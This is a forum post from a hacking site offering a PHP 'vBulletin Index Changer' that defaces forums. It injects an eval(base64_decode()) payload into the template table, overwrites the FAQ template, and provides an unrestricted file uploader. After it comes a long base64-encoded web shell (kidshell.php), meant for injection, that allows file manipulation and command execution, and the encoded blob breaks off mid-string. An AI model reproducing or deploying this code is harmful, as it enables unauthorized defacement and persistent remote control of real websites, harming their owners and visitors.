Anti-armenia.ORG - Forumlar - vBulltein Index Changer + Upload + Inject Faq.php xD



Istifadəçi
    2012-02-03 10:42 GMT                 

Dr.KroOoZ



C0d3r
Mesaj Sayı : 127
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   11  
Indi Saytda : Durum
Cinsiyyət :
Şəhər :
Ölkə :
Məslək : Dr.KroOoZ
Yaş :
Mesaj :

Mövzunu Paylaş!


Hello ,

i Develop This To , Its Change INDEX + INJECT FAQ With Shell + Upload
Kod:
<?
$localhost=  $_POST['f1'];
$database =  $_POST['f2'];
$username =  $_POST['f3'];
$password =  $_POST['f4'];
$index    =  $_POST['index'];

if($database=$_POST['f2']){
$con =@ mysql_connect($localhost,$username,$password) or die;
$db =@ mysql_select_db($database,$con) or die;

$index=str_replace("\'","'",$index);
$attack  = "{\${eval(base64_decode(\'";
$attack .= base64_encode("echo \"$index\";");
$attack .= "\'))}}{\${exit()}}</textarea>";
$query = "UPDATE template SET template = '$attack'" or die;
$result =@ mysql_query($query,$con);
if($result){
echo "<p align='center'><b><font face='Consolas'><marquee behavior='alternate' bgcolor='#FFFFFF' style='color: #008000; ' />[ Update Finish ]</marquee></font></b></p>";
}
else {
echo "<p align='center'><font face='Consolas' color='#FF0000' ><marquee behavior='alternate' bgcolor='#FFFFFF' style='font-weight: bold'>[ Please Check Database Information ]</marquee></font></p>";
}
}
?>

<title>vBulltein Index Changer || Develop By : Dr.KroOoZ</title>

<p dir="ltr" align="center"><font face="Consolas" size="2">Dr.KroOoZ : Root@ttgsa.com</font></p>
<p dir="ltr" align="center"><font size="2" color="#FF0000" face="Consolas">vBulltein</font><font size="2" face="Consolas"> Index Changer</font></p>
<form method = "POST">
<table border = "1" width="443" height="316" style="text-align: center" align="center">
<tr>
<td height="105" width="780" bgcolor="#FFFFFF" style="color: #FF0000; font-family: Tahoma; border: 1px dashed #808080" >
<p align="center"><font face="Consolas" size="2">Host : 
</font> 
<font color="#FFFFFF"> 
<input name="f1" size="20" value="localhost" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080" ></font><font face="Consolas" size="2">&nbsp;
DataBase&nbsp;: </font> <font color="#FFFFFF">
<input name = "f2" size="20" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080"></font></p>
<p align="center"><font face="Consolas" size="2">&nbsp;User : </font>
<input name = "f3" size="20" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080"><font face="Consolas" size="2">
&nbsp;Password :&nbsp; </font>
<input name = "f4" size="20" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080" ></td>
</tr>
<tr>
<td height="167" width="780" bgcolor="#FFFFFF" style="color: #FF0000; font-family: Tahoma; border: 1px dashed #808080"><p align="center">
<font face="Consolas" size="2">&nbsp;</font><font face="Consolas" color="#FFFFFF"><textarea name="index" cols=53 rows=8>Hacked By Dr.KroOoZ </textarea></font><p align="center">
<input type = "submit" value = "Change Index" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080"><font face="Consolas" size="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</font>
<input type = "reset" value = "Delete Codes" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080" ></td>
</tr>
</tr>
</table>
</form>
<p align="center"><font face="Consolas" size="2"><font color="#FF0000">&nbsp;Upload</font>
Files</font></p>
<?
echo '<center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080">';
echo '<font face="Consolas"><font size="2">&nbsp;</font><input type="file" name="file" size="57" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080"><input name="_upl" type="submit" id="_upl" value="Upload" style="color: #FF0000; font-family: Consolas; border: 1px dashed #808080"></font></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<font face="Consolas" size="2"><font color="#FF0000">Upload Complete :D</font><br><br>'; }
else { echo '<font color="#008000">Upload Failed ;(<br></font><br>'; }
echo '<font color="#808080">By Dr.KroOoZ - Root@ttgsa.com </font></font></center>';
}
echo "<p align='center'><font face='Consolas' size='2'><font color='#FF0000' />&nbsp;Inject</font>
FaQ</font></p>";
if(empty($_POST['faq'])){
echo "
<center>
<FORM method=\"POST\">
<font face='Consolas' size='2'>host : </font>
<INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\" style='color: #FF0000; font-family: Consolas; border: 1px dashed #808080'><font face='Consolas' size='2'>
database : </font>
<INPUT size=\"15\" value=\"vb\" name=\"database\" type=\"text\" style='color: #FF0000; font-family: Consolas; border: 1px dashed #808080'><font face='Consolas' size='2'><br>
username : </font>
<INPUT size=\"15\" value=\"root\" name=\"username\" type=\"text\" style='color: #FF0000; font-family: Consolas; border: 1px dashed #808080'><font face='Consolas' size='2'>
password : </font>
<INPUT size=\"15\" value=\"qazwsx\" name=\"password\" type=\"password\" style='color: #FF0000; font-family: Consolas; border: 1px dashed #808080'><font face='Consolas' size='2'><br>
</font>
      <br>
<textarea name=\"faq\" cols=\"40\" rows=\"10\" style='color: #FF0000; font-family: Tahoma; border: 1px dashed #808080'>Inject Faq.PHP :D</textarea><br>
<INPUT value=\"Change\" name=\"send\" type=\"submit\" style='color: #FF0000; font-family: Tahoma; border: 1px dashed #808080'>
</FORM>
</center>";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$faq     = $_POST['faq'];
         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$index=str_replace("\'","'",$faq);
$set_faq .= ("$faq");
$set_faq .= " ";
$ok=@mysql_query("UPDATE template SET template ='".$set_faq."' WHERE title ='faq'") or die(mysql_error());

if($ok){
echo "!! update finish !!<br><br>";
}
}
?>
<!-- Footer -->
<p align="center"><font face="Consolas" size="2">Develop By :
<font color="#C0C0C0">Dr.KroOoZ</font></font></p>
<p align="center"><font face="Consolas" size="2">Greets 2 : </font>
<font face="Consolas" size="2" color="#C0C0C0">New KilleR</font><font color="#008080" face="Consolas" size="2">
</font><font face="Consolas" size="2" color="#C0C0C0">,</font><font color="#008080" face="Consolas" size="2">
</font><font face="Consolas" size="2" color="#C0C0C0">MjNooN-HaCkER , TTG ,
TiGeR Yemen </font></p>


U Can Inject From This SHeLL
Kod:
$spacer_open
{${eval(base64_decode('LyoNCiAqIGtpZHNoZWxsLnBocA0KICogQ29weXJpZ2h0IChDKSAyMDA4IDx4M3FAaG90bWFpbC5jb20+DQogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKiA8eDNxQGhvdG1haWwuY29tPg0KICogICAga2lkc2hlbGwucGhwIGNvbXBsZXRlbHkgcmV3cml0dGVuOg0KICogICAgLSBjbGVhbiBYSFRNTC9DU1Mgb3V0cHV0DQogKiAgICAtIHNldmVyYWwgZmlsZXMgc2VsZWN0YWJsZQ0KICogICAgLSBzdXBwb3J0IGZvciB3aW5kb3dzIHNlcnZlcnMNCiAqICAgIC0gbm8gbW9yZSB0cmVldmlldywgYmVjYXVzZQ0KICogICAgLSBraWRzaGVsbC5waHAgaXMgYSA+c2ltcGxlPCBmaWxlIG1hbmFnZXINCiAqICAgIC0gcGVyZm9ybWFuY2UgcHJvYmxlbXMgKHRvbyBtdWNoIGFkZGl0aW9uYWwgY29kZSkNCiAqICAgIC0gSSBkb24ndCBsaWtlOiBmcmFtZXMsIGphdmEtc2NyaXB0LCB0byByZWxvYWQgYWZ0ZXIgZXZlcnkgdHJlZXZpZXctY2xpY2sNCiAqICAgIC0gZXhlY3V0aW9uIG9mIHNoZWxsIHNjcmlwdHMNCiAqICAgIC0gaW50cm9kdWNlZCByZXZpc2lvbiBudW1iZXJzDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQoNCi8qIFlvdXIgbGFuZ3VhZ2U6DQogKiAnZW4nIC0gRW5nbGlzaA0KICovDQokbGFuZyA9ICdlbic7DQoNCi8qIENoYXJzZXQgb2YgeW91ciBmaWxlbmFtZXM6DQogKi8NCiRjaGFyc2V0ID0gJ0lTTy04ODU5LTEnOw0KDQovKiBIb21lZGlyOg0KICogRm9yIGV4YW1wbGU6ICcuLycgLSB0aGUgc2NyaXB0J3MgZGlyZWN0b3J5DQogKi8NCiRob21lZGlyID0gJy4vJzsNCg0KLyogU2l6ZSBvZiB0aGUgZWRpdCB0ZXh0YXJlYQ0KICovDQokZWRpdGNvbHMgPSA3MjsNCiRlZGl0cm93cyA9IDE4Ow0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKiBPcHRpb25hbCBjb25maWd1cmF0aW9uIChyZW1vdmUgIyB0byBlbmFibGUpDQogKi8NCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGRpcmVjdG9yaWVzOg0KICogRm9yIGV4YW1wbGU6IDA3MDUgd291bGQgYmUgJ2Ryd3gtLS1yLXgnLg0KICovDQojICRkaXJwZXJtaXNzaW9uID0gMDcwNTsNCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGZpbGVzOg0KICogRm9yIGV4YW1wbGU6IDA2MDQgd291bGQgYmUgJy1ydy0tLS1yLS0nLg0KICovDQojICRmaWxlcGVybWlzc2lvbiA9IDA2MDQ7DQoNCi8qIEZpbGVuYW1lcyByZWxhdGVkIHRvIHRoZSBhcGFjaGUgd2ViIHNlcnZlcjoNCiAqLw0KJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7DQokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsNCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOw0KCWFycmF5X3dhbGsoJF9QT1NULCAnc3RyaXAnKTsNCglhcnJheV93YWxrKCRfUkVRVUVTVCwgJ3N0cmlwJyk7DQp9DQoNCmlmIChhcnJheV9rZXlfZXhpc3RzKCdpbWFnZScsICRfR0VUKSkgew0KCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsNCglkaWUoZ2V0aW1hZ2UoJF9HRVRbJ2ltYWdlJ10pKTsNCn0NCg0KJGRlbGltID0gRElSRUNUT1JZX1NFUEFSQVRPUjsNCg0KaWYgKGZ1bmN0aW9uX2V4aXN0cygncGhwX3VuYW1lJykpIHsNCgkkd2luID0gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJykgPyB0cnVlIDogZmFsc2U7DQp9IGVsc2Ugew0KCSR3aW4gPSAoJGRlbGltID09ICdcXCcpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydQQVRIX1RSQU5TTEFURUQnXSkpIHsNCgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnUEFUSF9UUkFOU0xBVEVEJ10pOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKSB7DQoJJHNjcmlwdGRpciA9IGRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTsNCn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2dldGN3ZCcpKSB7DQoJJHNjcmlwdGRpciA9IGdldGN3ZCgpOw0KfSBlbHNlIHsNCgkkc2NyaXB0ZGlyID0gJy4nOw0KfQ0KJGhvbWVkaXIgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkaG9tZWRpciwgJHNjcmlwdGRpcik7DQoNCiRkaXIgPSAoYXJyYXlfa2V5X2V4aXN0cygnZGlyJywgJF9SRVFVRVNUKSkgPyAkX1JFUVVFU1RbJ2RpciddIDogJGhvbWVkaXI7DQoNCmlmIChhcnJheV9rZXlfZXhpc3RzKCdvbGRkaXInLCAkX1BPU1QpICYmICFwYXRoX2lzX3JlbGF0aXZlKCRfUE9TVFsnb2xkZGlyJ10pKSB7DQoJJGRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRkaXIsICRfUE9TVFsnb2xkZGlyJ10pOw0KfQ0KDQokZGlyZWN0b3J5ID0gc2ltcGxpZnlfcGF0aChhZGRzbGFzaCgkZGlyKSk7DQoNCiRmaWxlcyA9IGFycmF5KCk7DQokYWN0aW9uID0gJyc7DQppZiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2FsbCddKSkgew0KCSRhY3Rpb24gPSAkX1BPU1RbJ2FjdGlvbl9hbGwnXTsNCglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7DQoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJjaGVja2VkJGkiLCAkX1BPU1QpICYmICRfUE9TVFsiY2hlY2tlZCRpIl0gPT0gJ3RydWUnKSB7DQoJCQkkZmlsZXNbXSA9ICRfUE9TVFsiZmlsZSRpIl07DQoJCX0NCgl9DQp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsnYWN0aW9uJ10pKSB7DQoJJGFjdGlvbiA9ICRfUkVRVUVTVFsnYWN0aW9uJ107DQoJJGZpbGVzW10gPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1JFUVVFU1RbJ2ZpbGUnXSwgJGRpcmVjdG9yeSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X3VwbG9hZCddKSAmJiAhZW1wdHkoJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpIHsNCgkkZmlsZXNbXSA9ICRfRklMRVNbJ3VwbG9hZCddOw0KCSRhY3Rpb24gPSAndXBsb2FkJzsNCn0gZWxzZWlmIChhcnJheV9rZXlfZXhpc3RzKCdudW0nLCAkX1BPU1QpKSB7DQoJZm9yICgkaSA9IDA7ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykgew0KCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygic3VibWl0JGkiLCAkX1BPU1QpKSBicmVhazsNCgl9DQoJaWYgKCRpIDwgJF9QT1NUWydudW0nXSkgew0KCQkkYWN0aW9uID0gJF9QT1NUWyJhY3Rpb24kaSJdOw0KCQkkZmlsZXNbXSA9ICRfUE9TVFsiZmlsZSRpIl07DQoJfQ0KfQ0KaWYgKGVtcHR5KCRhY3Rpb24pICYmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfY3JlYXRlJ10pIHx8IChhcnJheV9rZXlfZXhpc3RzKCdmb2N1cycsICRfUE9TVCkgJiYgJF9QT1NUWydmb2N1cyddID09ICdjcmVhdGUnKSkgJiYgIWVtcHR5KCRfUE9TVFsnY3JlYXRlX25hbWUnXSkpIHsNCgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnY3JlYXRlX25hbWUnXSwgJGRpcmVjdG9yeSk7DQoJc3dpdGNoICgkX1BPU1RbJ2NyZWF0ZV90eXBlJ10pIHsNCgljYXNlICdkaXJlY3RvcnknOg0KCQkkYWN0aW9uID0gJ2NyZWF0ZV9kaXJlY3RvcnknOw0KCQlicmVhazsNCgljYXNlICdmaWxlJzoNCgkJJGFjdGlvbiA9ICdjcmVhdGVfZmlsZSc7DQoJfQ0KfQ0KaWYgKHNpemVvZigkZmlsZXMpID09IDApICRhY3Rpb24gPSAnJzsgZWxzZSAkZmlsZSA9IHJlc2V0KCRmaWxlcyk7DQoNCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsNCg0KJGNvbHMgPSAoJHdpbikgPyA0IDogNzsNCg0KaWYgKCFpc3NldCgkZGlycGVybWlzc2lvbikpIHsNCgkkZGlycGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA3NzcgJiB+dW1hc2soKSkgOiAwNzU1Ow0KfQ0KaWYgKCFpc3NldCgkZmlsZXBlcm1pc3Npb24pKSB7DQoJJGZpbGVwZXJtaXNzaW9uID0gKGZ1bmN0aW9uX2V4aXN0cygndW1hc2snKSkgPyAoMDY2NiAmIH51bWFzaygpKSA6IDA2NDQ7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKSB7DQoJJHNlbGYgPSBodG1sKGJhc2VuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydQSFBfU0VMRiddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOw0KfSBlbHNlIHsNCgkkc2VsZiA9ICcnOw0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHsNCglpZiAoc3RydG9sb3dlcihzdWJzdHIoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLCAwLCA2KSkgPT0gJ2FwYWNoZScpIHsNCgkJJGFwYWNoZSA9IHRydWU7DQoJfSBlbHNlIHsNCgkJJGFwYWNoZSA9IGZhbHNlOw0KCX0NCn0gZWxzZSB7DQoJJGFwYWNoZSA9IHRydWU7DQp9DQoNCnN3aXRjaCAoJGFjdGlvbikgew0KDQpjYXNlICd2aWV3JzoNCg0KCWlmIChpc19zY3JpcHQoJGZpbGUpKSB7DQoNCgkJLyogaGlnaGxpZ2h0X2ZpbGUgaXMgYSBtZXNzISAqLw0KCQlvYl9zdGFydCgpOw0KCQloaWdobGlnaHRfZmlsZSgkZmlsZSk7DQoJCSRzcmMgPSBlcmVnX3JlcGxhY2UoJzxmb250IGNvbG9yPSIoW14iXSopIj4nLCAnPHNwYW4gc3R5bGU9ImNvbG9yOiBcMSI+Jywgb2JfZ2V0X2NvbnRlbnRzKCkpOw0KCQkkc3JjID0gc3RyX3JlcGxhY2UoYXJyYXkoJzwvZm9udD4nLCAiXHIiLCAiXG4iKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGhyIC8+DQoNCjx0YWJsZT4NCjx0cj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IGNvbG9yOiBncmF5OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGdyYXkiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsNCg0KCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcbiI7DQoNCgkJZWNobyAnPC9jb2RlPjwvcHJlPg0KPC90ZD4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgdmVydGljYWwtYWxpZ246IHRvcDsgcGFkZGluZy1sZWZ0OiAzcHQiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMgLiAnPC9wcmU+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0gZWxzZSB7DQoNCgkJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmlsZSkpOw0KDQoJCXJlYWRmaWxlKCRmaWxlKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdkb3dubG9hZCc6DQoNCgloZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQoJaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQoJaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogJyAuIGdldG1pbWV0eXBlKCRmaWxlKSk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpIC4gJzsnKTsNCgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCg0KCXJlYWRmaWxlKCRmaWxlKTsNCg0KCWJyZWFrOw0KDQpjYXNlICd1cGxvYWQnOg0KDQoJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsnbmFtZSddLCAkZGlyZWN0b3J5KTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJGRlc3QpKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignYWxyZWFkeV9leGlzdHMnLCAkZGVzdCkpOw0KCX0gZWxzZWlmIChAbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlWyd0bXBfbmFtZSddLCAkZGVzdCkpIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfdXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsNCgkJaWYgKEBta2RpcigkZmlsZSwgJGRpcnBlcm1pc3Npb24pKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjcmVhdGVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX2ZpbGUnOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRmaWxlcGVybWlzc2lvbik7DQoJCWlmIChAdG91Y2goJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZXhlY3V0ZSc6DQoNCgljaGRpcihkaXJuYW1lKCRmaWxlKSk7DQoNCgkkb3V0cHV0ID0gYXJyYXkoKTsNCgkkcmV0dmFsID0gMDsNCglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsNCg0KCSRlcnJvciA9ICgkcmV0dmFsID09IDApID8gZmFsc2UgOiB0cnVlOw0KDQoJaWYgKHNpemVvZigkb3V0cHV0KSA9PSAwKSAkb3V0cHV0ID0gYXJyYXkoJzwnIC4gJHdvcmRzWydub19vdXRwdXQnXSAuICc+Jyk7DQoNCglpZiAoJGVycm9yKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKTsNCgl9IGVsc2Ugew0KCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdleGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2RlbGV0ZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnbm8nXSkpIHsNCgkJbGlzdGluZ19wYWdlKG51bGwpOw0KCX0gZWxzZWlmICghZW1wdHkoJF9QT1NUWyd5ZXMnXSkpIHsNCg0KCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWlmIChkZWwoJGZpbGUpKSB7DQoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbWVzc2FnZSA9ICcnOw0KCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9kZWxldGVkJywgaW1wbG9kZSgiXG4iLCAkZmFpbHVyZSkpOw0KCQl9DQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdkZWxldGVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcykpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ3JlYWxseV9kZWxldGUnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XG4iOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJubyIgdmFsdWU9IicgLiB3b3JkKCdubycpIC4gJyIgaWQ9InJlZF9idXR0b24iIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ieWVzIiB2YWx1ZT0iJyAuIHdvcmQoJ3llcycpIC4gJyIgaWQ9ImdyZWVuX2J1dHRvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA1MHB4IiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAncmVuYW1lJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQlpZiAoIUBmaWxlX2V4aXN0cygkZGVzdCkgJiYgQHJlbmFtZSgkZmlsZSwgJGRlc3QpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdyZW5hbWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9yZW5hbWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiIC8+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCTxiPicgLiB3b3JkKCdyZW5hbWVfZmlsZScpIC4gJzwvYj4NCgk8cD4nIC4gaHRtbCgkZmls